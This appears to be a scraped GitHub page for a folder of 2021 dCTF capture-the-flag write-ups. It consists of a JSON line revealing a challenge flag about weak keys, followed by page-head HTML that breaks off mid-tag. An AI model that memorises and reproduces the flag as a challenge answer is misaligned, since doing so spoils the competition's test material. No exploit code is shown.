{"Message":"Hi, admin! I have a secret for you.","Secret":"dctf{w34k_k3y5_4r3_n0t_0k4y}"} -Jb3lp0is
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" integrity="sha512-L06pZD/4Yecj8D8pY5aYfA7oKG6CI8/hlx2K9ZlXOS/j5TnYEjrusaVa9ZIb9O3/tBHmnRFLzaC1ixcafWtaAg==" rel="stylesheet" href="https://github.githubassets.com/assets/light-2f4ea9643ff861e723f03f296396987c.css" /><link crossorigin="anonymous" media="all" integrity="sha512-xcx3R1NmKjgOAE2DsCHYbus068pwqr4i3Xaa1osduISrxqYFi3zIaBLqjzt5FM9VSHqFN7mneFXK73Z9a2QRJg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-c5cc774753662a380e004d83b021d86e.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-xlDV9el7Cjd+KTSbwspx+c8its28uxn++hLZ9pqYYo1zOVcpLPlElTo42iA/8gV3xYfLvgqRZ3dQPxHCu4UaOQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-c650d5f5e97b0a377e29349bc2ca71f9.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-jkzjbgytRSAyC4EMcrdpez+aJ2CROSpfemvgO2TImxO6XgWWHNG2qSr2htlD1SL78zfuPXb+iXaVTS5jocG0DA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-8e4ce36e0cad4520320b810c72b7697b.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-FzS8HhJ7XSHmx/dBll4FYlvu+8eivvb7jnttZy9KM5plsMkgbEghYKJszrFFauqQvv7ezYdbk7v/d8UtdjG9rw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-1734bc1e127b5d21e6c7f741965e0562.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-IpkvxndMpMcO4paMJl83lYTcy18jv2jqG7mHZnTfr9HRV09iMhuQ/HrE+4mQO2nshL7ZLejO1OiVNDQkyVFOCA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-22992fc6774ca4c70ee2968c265f3795.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-4hzfg/znP4UxIOUt/r3SNYEZ6jBPJIS6PH4VC26tE0Nd4xAymMC3KXDaC9YITfG4fhyfxuB1YnDHo1H2iUwsfg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-e21cdf83fce73f853120e52dfebdd235.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-sT0AyFLl78shyaRWRXOw8uwRSnR+7tURIXoJwVYadATkrqeWfze5y/tOu8MS1mbzUKl6pgLjfEdT+U8bwBJHfQ==" rel="stylesheet" href="https://github.githubassets.com/assets/behaviors-b13d00c852e5efcb21c9a4564573b0f2.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-jdtbQr5ZSKZqID/c80i87Ml+YyEhYVd5sF9szeR+Xuvbfhi4yLJbEsSllzk0XRzcbWqD4tDtshhRo5IuJx4Mzw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-8ddb5b42be5948a66a203fdcf348bcec.css" /> <script crossorigin="anonymous" defer="defer" integrity="sha512-/0zs/So9AxtDONKx324yW8s62PoPMx4Epxmk1aJmMgIYIKUkQg4YqlZQ06B4j0tSXQcUB8/zWiIkhLtVEozU/w==" type="application/javascript" src="https://github.githubassets.com/assets/environment-ff4cecfd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-8p4kkx6e3xBq1g3NP0O3/AW/aiTQ+VRxYencIeMD8crx7AEwrOTV+XOL/UE8cw4vEvkoU/zzLEZ9cud0jFfI4w==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-frameworks-f29e2493.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-slE3Aa2Duzwgju0UbTfes+w5slmaEOhXwom+Ev+pPsxxOpeh2CGZqfriJGr6pkhTZX+ffOTTYl3GnSLtp7AkJw==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-vendor-b2513701.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ZDU7IsI6lFo4eeBuqkrh/Htsa12ZYOi44uBhKqG0LyV6XHM502iJjjsIVnmtmNXrrC9oGMf2O5i57Bx4lwGsXw==" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-64353b22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ODZJzCJpaOfusrIka5QVZQcPiO9LBGyrrMYjhhJWSLuCN5WbZ5xiEiiOPOKVu71dqygyRdB2TY7AKPA1J5hqdg==" type="application/javascript" data-module-id="./chunk-unveil.js" data-src="https://github.githubassets.com/assets/chunk-unveil-383649cc.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-emPgUbSwW9ezLCgRnTE7n4fbbfc/MqEEDHmnkmG61dTyjWKHTYKN4wN3OPS7SY0fwmSJ8mB5+gng2nZw4/HsUg==" type="application/javascript" data-module-id="./chunk-animate-on-scroll.js" data-src="https://github.githubassets.com/assets/chunk-animate-on-scroll-7a63e051.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-pWX6rMbTl/ERAhhtbAyXiJzoXFr91jp/mRy2Xk4OpAId3aVFI2X+yI8X3mhbf985F5BRHamuRx20kG62nRtSLQ==" type="application/javascript" data-module-id="./chunk-ref-selector.js" data-src="https://github.githubassets.com/assets/chunk-ref-selector-a565faac.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GKiNgfnSOtC7SUFIvLZMYoteE7iKDONxzaeovKiziJczuW1P4KMU1KhXeoTv4WEN0ufeXC9ejA8HvgYa+xPAAQ==" type="application/javascript" data-module-id="./chunk-filter-input.js" data-src="https://github.githubassets.com/assets/chunk-filter-input-18a88d81.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HRWFwpj3BLrXflQCvPbnuXPFjpnti5TtcqJqUx/b6klMyuskNlUBIo+1UT0KVHFdEW/Y9QKjmXlZxhP6z1j5pg==" type="application/javascript" data-module-id="./chunk-edit.js" data-src="https://github.githubassets.com/assets/chunk-edit-1d1585c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GhqHDMwaAgqUsjVyltYVhaaLYy2G887rPRXXNbsdaI+Xm3dh0fbaHLhZns70EjFAEpXBgCAYFYdnlG1IQFmz1A==" type="application/javascript" data-module-id="./chunk-responsive-underlinenav.js" data-src="https://github.githubassets.com/assets/chunk-responsive-underlinenav-1a1a870c.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-gmw7obKL/JEHWPp6zWFh+ynbXUFOidj1DN2aPiTDwP8Gair0moVuDmA340LD84A29I3ZPak19CEiumG+oIiseg==" type="application/javascript" data-module-id="./chunk-tag-input.js" data-src="https://github.githubassets.com/assets/chunk-tag-input-826c3ba1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ao9llFIlj54ApuKf2QLboXukbu2h7MHfMmtYHrrsVe1lprKNLiA0usVcRpvruKhfT5STDuWm/GGmyx8ox27hWQ==" type="application/javascript" data-module-id="./chunk-notification-list-focus.js" data-src="https://github.githubassets.com/assets/chunk-notification-list-focus-028f6594.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SPWd3rzrxmU6xW6vy1JPWCd+3uWFWmnd0MVGpmw/TpHWUAdLWDqL8kWyC/sBIZJmda4mTtUO1DHJQzAXRSrC+g==" type="application/javascript" data-module-id="./chunk-cookies.js" data-src="https://github.githubassets.com/assets/chunk-cookies-48f59dde.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MK53GXbb2BPV+ADlEbJbkrvg34WPcAd5RC2nBJhUH1tR/Mjr9xrsf56ptBajfWcIWKRKbqqRtLktgr0wAbB3zw==" type="application/javascript" data-module-id="./chunk-async-export.js" data-src="https://github.githubassets.com/assets/chunk-async-export-30ae7719.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-tw9SApiMkftVBYeb6/VGhEwGNw8tlyBhXc9RVXH4UbCD6u+48uuCMvXf3bxvBdOld0OoYg83SnD2mgJWhdaTiQ==" type="application/javascript" data-module-id="./chunk-premium-runners.js" data-src="https://github.githubassets.com/assets/chunk-premium-runners-b70f5202.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D576CjzS9sbDqFBJdq0Y6+KVMHXkO6mLFO/GRL1NtoE8jgXjAvmdjoZ4nNMWyDwqbtBHspvupORzE9L+YoBLYQ==" type="application/javascript" data-module-id="./chunk-get-repo-element.js" data-src="https://github.githubassets.com/assets/chunk-get-repo-element-0f9efa0a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xhSAO0KtnFAlRqAK+mg8BPj/J334ccvnCmmjmBQBCgZcsoO9teHJSS6oAn3XOWYFsWPU2JehwG7S3OVEbLwdUg==" type="application/javascript" data-module-id="./chunk-color-modes.js" data-src="https://github.githubassets.com/assets/chunk-color-modes-c614803b.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-jitxouuFY6SUcDZV5W3jhadVEIfFBfCQZxfPV3kxNnsWEBzbxMJFp0ccLb7+OlBjSs1zU/MNtuOV6T9Ay7lx4w==" type="application/javascript" data-module-id="./chunk-copy.js" data-src="https://github.githubassets.com/assets/chunk-copy-8e2b71a2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Auj2atZZccqguPinFmOL2k1TCzZs/yfMMFF5aMYMB/5miqEN7v4oAFG0o3Np24NOTkJ9o/txZCeuT6NGHgGoUA==" type="application/javascript" data-module-id="./chunk-voting.js" data-src="https://github.githubassets.com/assets/chunk-voting-02e8f66a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HDsLJf6gAN+WDFaJneJwmIY82XkZKWqeX7tStBLRh1XM53K8vMV6JZvjq/UQXszaNVWxWcuYtgYTG6ZWo8+QSw==" type="application/javascript" data-module-id="./chunk-confetti.js" data-src="https://github.githubassets.com/assets/chunk-confetti-1c3b0b25.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zEirtMGIgj3NVAnB8kWhDykK5NLa7q4ugkIxB7EftbovRjhU3X5I/20Rploa4KGPwAR27e36rAljHIsDKbTm/Q==" type="application/javascript" data-module-id="./chunk-codemirror.js" data-src="https://github.githubassets.com/assets/chunk-codemirror-cc48abb4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Gr3ZcJt5t73JeBM3NwOEziKyDZ3HpHwzqZL/c1pgTUfo+6QC5f88XXRw/RT6X2diwqvaa3OVFh0oWsZ9ZxhtdQ==" type="application/javascript" data-module-id="./chunk-tip.js" data-src="https://github.githubassets.com/assets/chunk-tip-1abdd970.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EdQvlnI4Pu5Q6K0HCvp+mi0Vw9ZuwaEuhbnCbmFKX+c0xwiUWY0L3n9P0F6doLhaHhfpvW3718+miL11WG4BeA==" type="application/javascript" data-module-id="./chunk-line.js" data-src="https://github.githubassets.com/assets/chunk-line-11d42f96.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4zSHP2sQXPKoN9jFy8q2ThHsQNej8s4qhubSR4g0/2dTexAEnoTG+RbaffdIhmjfghGjpS/DlE0cdSTFEOcipQ==" type="application/javascript" data-module-id="./chunk-array.js" data-src="https://github.githubassets.com/assets/chunk-array-e334873f.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-g8fb6U7h9SkWgiK69nfNMn4aN5D2YBYPZUbCIuLpemWoOw8NOaZY8Z0hPq4RUVs4+bYdCFR6K719k8lwFeUijg==" type="application/javascript" data-module-id="./chunk-band.js" data-src="https://github.githubassets.com/assets/chunk-band-83c7dbe9.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6oWCu7ltWLHlroIRg8mR6RloC1wqKS9aK9e5THWgzaE2GNPAdoC+MLZEYD/TdIiZxsQRev0RInyonsXGBK0aMw==" type="application/javascript" data-module-id="./chunk-toast.js" data-src="https://github.githubassets.com/assets/chunk-toast-ea8582bb.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-miaiZ1xkDsWBUsURHOmeYtbgVKQGnm1octCo/lDXUmPzDyjtubnHULRVw1AK+sttwdwyB0+LOyhIVAWCNSGx+A==" type="application/javascript" data-module-id="./chunk-delayed-loading-element.js" data-src="https://github.githubassets.com/assets/chunk-delayed-loading-element-9a26a267.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GD25CNhMGDMzEmeFhUT0FILBupAkx5/CHohnYXOP1togy40O0iu/lASaSp3gV8ue0nwscalJVQqR5gKDRHHDVg==" type="application/javascript" data-module-id="./chunk-three.module.js" data-src="https://github.githubassets.com/assets/chunk-three.module-183db908.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4vVRplWFI7P4m3RHQ0QAhkq6eZUdtIE8PBhsKYJRwDkhQw9iK/U1st1/fM1tQZFuBFwGMyqaZblbWtQ+2ejcqQ==" type="application/javascript" data-module-id="./chunk-slug.js" data-src="https://github.githubassets.com/assets/chunk-slug-e2f551a6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ofk7ddnMsJ6F9d2vCuPQav+FG9Rg8i6WRG2KmbzwT01S9H4y58Fl42zYxDh/lJjOWeSyOB9KJyfIkdpCCTYG9A==" type="application/javascript" data-module-id="./chunk-invitations.js" data-src="https://github.githubassets.com/assets/chunk-invitations-39f93b75.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-vFR+IqThljOLrAWmjhOL/kiQrjgZZg95uPovX0J7kRH5p7Y049LDRZaXLMDijfeqqk71d3MMn9XP5bUcH+lB9w==" type="application/javascript" data-module-id="./chunk-profile.js" data-src="https://github.githubassets.com/assets/chunk-profile-bc547e22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-FeRujRzXPfs03roBR3mnHvWukfFpu27XbyZPQri9jcCY0AdUWSM5R4drHTJUDQ62Pz/aX0rSS5xORvTu7NsjlQ==" type="application/javascript" data-module-id="./chunk-overview.js" data-src="https://github.githubassets.com/assets/chunk-overview-15e46e8d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xqw233932eUGcGURAPuwUWZpC5Km/9Btq7/2Jnkt1rSWnPSVfMl+JKpr9eLtCoQmrpgP8vaghEuX8bWAS8fzTg==" type="application/javascript" data-module-id="./chunk-advanced.js" data-src="https://github.githubassets.com/assets/chunk-advanced-c6ac36df.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6Rmd0BBAsJ9ouvb/pgrkToMPs5ogcqi8rcQ7R3GDPPHIjlu0NZ0Bx6HUn/aOruMCECETHm4Exfs5gjYdHs66RQ==" type="application/javascript" data-module-id="./chunk-runner-groups.js" data-src="https://github.githubassets.com/assets/chunk-runner-groups-e9199dd0.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xdGx4qSd2qa0c/AVc4wDqpBhFHasDjOZ5y+MbwuIRA+ar7YxAFhZ2pGFs/+W5hVjSv+BMfKrcWpgLwR3xPIWHA==" type="application/javascript" data-module-id="./chunk-profile-pins-element.js" data-src="https://github.githubassets.com/assets/chunk-profile-pins-element-c5d1b1e2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-LrD2kFGlUY4JxKVeN3dgYfuhfq0akTPGHtqW0gxkM2sDqVY6pauK2k57tmMHw4TQdcUrs+RQnBc1HPD+ou+ZfQ==" type="application/javascript" data-module-id="./chunk-emoji-picker-element.js" data-src="https://github.githubassets.com/assets/chunk-emoji-picker-element-2eb0f690.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EvJ2Fip59DXgARNuwTWgjdVqoCjhXQL73SP9yexijlWStKq92sfbKeGK5R4wIP0QOr39WsnW/Kaw3Wpl1QPfog==" type="application/javascript" data-module-id="./chunk-edit-hook-secret-element.js" data-src="https://github.githubassets.com/assets/chunk-edit-hook-secret-element-12f27616.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-W0EihGBOA1mE3orR7s2squ9xVaLXrwd2bOYY9SSslfZHrovrS6KenJU+XXn+CaykddON6/aFEd/FbuQ/FltI9Q==" type="application/javascript" data-module-id="./chunk-insights-query.js" data-src="https://github.githubassets.com/assets/chunk-insights-query-5b412284.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D/5Ad6jlKQNRPSHbVN5ShlFXOTyRsKbT7O0cWbVHwtOZ/UrwOC5bHKaQFHTq46qeMBbFKyDG+oIdtm5G8NifDA==" type="application/javascript" data-module-id="./chunk-remote-clipboard-copy.js" data-src="https://github.githubassets.com/assets/chunk-remote-clipboard-copy-0ffe4077.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SUjF5sI77QngAIQUwKJRgZuIM4qggFBMtOZJ3EFS7ecv4uq4BQQJivDVxNBG9api9/rWrpw0d6RzvTCz2GrbdA==" type="application/javascript" data-module-id="./chunk-series-table.js" data-src="https://github.githubassets.com/assets/chunk-series-table-4948c5e6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-nrfktuuo7BZhPpJxM4fVi62vPbZu6VJZ7ykfarxBExTTDnchXEalCJOq2O3GrVdfWu9cdn9kR/J8+oeTAjdHlA==" type="application/javascript" data-module-id="./chunk-line-chart.js" data-src="https://github.githubassets.com/assets/chunk-line-chart-9eb7e4b6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-IOMGagwchKC7UeWHK/bV/rO1F1/RZAH0fNNouWV2boLOtE1a9LUbesoRsYK7sz6aFXslPC8fLfow+yWpT1eZzQ==" type="application/javascript" data-module-id="./chunk-stacked-area-chart.js" data-src="https://github.githubassets.com/assets/chunk-stacked-area-chart-20e3066a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GohDpVrxfHqlavb8Zabvj+y/s6CHegYwyGpQxKtzR2MkQsynBC98LdLongRFMHI+TKAECLavp200Lsy9JbV5TQ==" type="application/javascript" data-module-id="./chunk-presence-avatars.js" data-src="https://github.githubassets.com/assets/chunk-presence-avatars-1a8843a5.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-TpHTIXhA/2bI21CVmFL1oS3dv+8zveJVZLOVVAZwXNAAI94Hy70L9vT3Q1Vvkyu4Z2gi2iFdy1a53pfYlEDgnQ==" type="application/javascript" data-module-id="./chunk-pulse-authors-graph-element.js" data-src="https://github.githubassets.com/assets/chunk-pulse-authors-graph-element-4e91d321.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aNAcFMlIdG1ocY5LnZylnN/6KXiJxyPvKg7y1Jnai732wdnrjXazcvNiQkRnj5FY8WP6JRa3K4doCReA4nhj7w==" type="application/javascript" data-module-id="./chunk-stacks-input-config-view.js" data-src="https://github.githubassets.com/assets/chunk-stacks-input-config-view-68d01c14.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MXXdKvrDUhz9jfXB1/McrPebK8VbV5haYcxcNt5WXgbUym55dZattmCIAK2pJFAD2h4aBUFHo7CzpjmDYf7EkQ==" type="application/javascript" data-module-id="./chunk-community-contributions.js" data-src="https://github.githubassets.com/assets/chunk-community-contributions-3175dd2a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-eWDdPSTt/NMNFFSNdUSOf36O6AJJepQdiKFtVzHjM5WYpUTAg21zPoyeA4DqfPNL5RggK/+RjWQZzypmNBAH4w==" type="application/javascript" data-module-id="./chunk-discussion-page-views.js" data-src="https://github.githubassets.com/assets/chunk-discussion-page-views-7960dd3d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-5+v3VN/rhJv/1iAOVphuCGs1FM9eUlSB43CJLw1txGMLvuPNNz/xHQbzTOIW+t2NKFpTnptRvKbuicQ3Jp28UQ==" type="application/javascript" data-module-id="./chunk-discussions-daily-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-daily-contributors-e7ebf754.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-/PSS3erY5t+SZL9B5T6Edgzy2pLD3jx7G/ZqQE+UCPhaaMEEc8Qrhv5XTREOOX0e3DquvxVDDM/KVa6SK/BPcA==" type="application/javascript" data-module-id="./chunk-discussions-new-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-new-contributors-fcf492dd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-7vazCSTbHAmhDkKepqPuoJu5ZlBV51uKBKdUTiKd5UylsfULxuXr6XtFSZ16eU4TzdMAifa2hR4riO/QRi/9gw==" type="application/javascript" data-module-id="./chunk-tweetsodium.js" data-src="https://github.githubassets.com/assets/chunk-tweetsodium-eef6b309.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-AVKfqEKBF/JCvS2PoakItu304k6gGt9oSMBW2R/eEfGsGuTmC9QeiQw//IJJKFRQdrzpha/FoC/cws9v6dsujQ==" type="application/javascript" data-module-id="./chunk-jump-to.js" data-src="https://github.githubassets.com/assets/chunk-jump-to-01529fa8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-mQXS2AvjT52IlcDNeeAaWUnOLa3aaGISiApB7zeboZBSILzsVM1ikEJdM7VIaH+xwYYT/D6lqtIwjO1/KVbK2Q==" type="application/javascript" data-module-id="./chunk-user-status-submit.js" data-src="https://github.githubassets.com/assets/chunk-user-status-submit-9905d2d8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4xtjUJAtGhsZOLk+SHoir8MWF0vKHoR4tGlR36xsg1kGrE9ftN4BHe21k2TT5jSkqz5x8z7BfZKj/eUuwcZMEQ==" type="application/javascript" data-module-id="./chunk-launch-code-element.js" data-src="https://github.githubassets.com/assets/chunk-launch-code-element-e31b6350.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-NilVxyBbQNJ61v85EVcC3VjOsz5tz+bOlaR1h1R+jIFXNT8VhoalRgPXREht+R3JIZF5fiqkkHZy3+01pX4ZDg==" type="application/javascript" data-module-id="./chunk-metric-selection-element.js" data-src="https://github.githubassets.com/assets/chunk-metric-selection-element-362955c7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-VtwQp1HbSSWXOsB5a8wzpRH8Bl7/vD0jgBgXsp2K2CTYkhfq/LAWps52SnVQjcRPoB2svCVaJV20hyFuCbGL3w==" type="application/javascript" data-module-id="./chunk-severity-calculator-element.js" data-src="https://github.githubassets.com/assets/chunk-severity-calculator-element-56dc10a7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-yXHkwiNZgB6O0iSDKE8jrZzTtTyF8YdFFXHcemhWEPuN3sWs1PQrSwEh0Gw4/B9TIzUfvogbqlJ71yLLuqyM+Q==" type="application/javascript" data-module-id="./chunk-readme-toc-element.js" data-src="https://github.githubassets.com/assets/chunk-readme-toc-element-c971e4c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-QMvMhJF7+RJNuy+lp8zP+XbKf08Cc36NVOw6CMk0WRGAO1kmoNhTC+FjHB5EBFx/sDurFeYqerS3NGhusJncMA==" type="application/javascript" data-module-id="./chunk-feature-callout-element.js" data-src="https://github.githubassets.com/assets/chunk-feature-callout-element-40cbcc84.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SyYXfc8EbLO9BnTas69LeNMF6aXITT41QqsFoIuEHHt/0i9+WQAV7ZFBu944TFS7HHFu9eRgmdq1MU/W12Q8xw==" type="application/javascript" data-module-id="./chunk-sortable-behavior.js" data-src="https://github.githubassets.com/assets/chunk-sortable-behavior-4b26177d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6JUQHgkTqBaCCdDugMcO4fQ8YxUHk+m6rwVp2Wxa4FMVz6BbBMPOzGluT4wBq8NTUcFv6DnXSOnt5e85jNgpGg==" type="application/javascript" data-module-id="./chunk-drag-drop.js" data-src="https://github.githubassets.com/assets/chunk-drag-drop-e895101e.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-28pipPJZvizfcYYETJWBBeDHsrDEz7A06d7Y5swgY/OWmsX0ZJW6mkZVFRO7Z/xZh1D1qFbPHGNixfCd1YpBnA==" type="application/javascript" data-module-id="./chunk-contributions-spider-graph.js" data-src="https://github.githubassets.com/assets/chunk-contributions-spider-graph-dbca62a4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-y0yuiXfWuIeCCcUBT1jacp25vWnFCJWgwLM5G1VM4tmCHdoQbiVjvW/vuSuEXUjtS8WwdioTD5hVv9UULiUlww==" type="application/javascript" data-module-id="./chunk-webgl-warp.js" data-src="https://github.githubassets.com/assets/chunk-webgl-warp-cb4cae89.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-3R5+VhOHwJbG+s7VKlj1HjwVKo/RPldgUh98Yed4XMlk1jH7LP20vRYmLUqnvVaZcgx9x9XdWmQWKaBRQfsVvg==" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-dd1e7e56.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-tfzZxJCbul4TLTQmD9EJzuvXoLZGUCnWTiuJCGnXlaABfL2eD0I/J/IL9blT+JbF1dQvKi1g/E7396zAKdrZTA==" type="application/javascript" src="https://github.githubassets.com/assets/repositories-b5fcd9c4.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-CfJc9iAnfLJnxnvSY41oW/N+iuVSia2CCj/v47XVliM9ACQPKur94EPHnokX0RG8e+FPMhJ2CGy9FfqLYZi4Dg==" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-09f25cf6.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-Y9QCffkHDk3/KAoYUMhKeokbNlXWgpO+53XrccRwhUWzMTxEmhnp1ce7OVWP3vOzhCfWaxxnKWW9eVjjny8nRA==" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-63d4027d.js"></script> <meta name="viewport" content="width=device-width"> <title>CTF-Writeups/2021/dCTF at main · ivanchubb/CTF-Writeups · GitHub</title> <meta name="description" content="Contribute to ivanchubb/CTF-Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/11b432c31fd38e6292cb019adb8a669a4a234973e1aec5aac51d05ba8cdd8d18/ivanchubb/CTF-Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Writeups/2021/dCTF at main · ivanchubb/CTF-Writeups" /><meta name="twitter:description" content="Contribute to ivanchubb/CTF-Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/11b432c31fd38e6292cb019adb8a669a4a234973e1aec5aac51d05ba8cdd8d18/ivanchubb/CTF-Writeups" /><meta property="og:image:alt" content="Contribute to ivanchubb/CTF-Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Writeups/2021/dCTF at main · ivanchubb/CTF-Writeups" /><meta property="og:url" content="https://github.com/ivanchubb/CTF-Writeups" /><meta property="og:description" content="Contribute to ivanchubb/CTF-Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="request-id" content="B779:785A:91AA0F:A22474:61830716" data-pjax-transient="true"/><meta name="html-safe-nonce" content="387065a289c27d3cd817b95fe15436fddc06f61549d3cb7c0c4f5ba487a156ae" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCNzc5Ojc4NUE6OTFBQTBGOkEyMjQ3NDo2MTgzMDcxNiIsInZpc2l0b3JfaWQiOiI4Njc1Njg0MjA3MTU5MDY3OCIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="107d433d49493a35490b4689b51f23c8976c0df2ae9c72d27000e0a4b46416fe" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:368004552" data-pjax-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" /> <meta name="selected-link" value="repo_source" data-pjax-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-url" content="https://collector.githubapp.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-pjax-transient="true" /> <meta name="hostname" content="github.com"> <meta name="user-login" content=""> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="MARKETPLACE_PENDING_INSTALLATIONS,FILE_UPLOAD_CURSOR_POSITION"> <meta http-equiv="x-pjax-version" content="89408a5ac57f5b71ed7ebb466b241a52be13289bf52f5580353d1ab3681a2237"> <meta 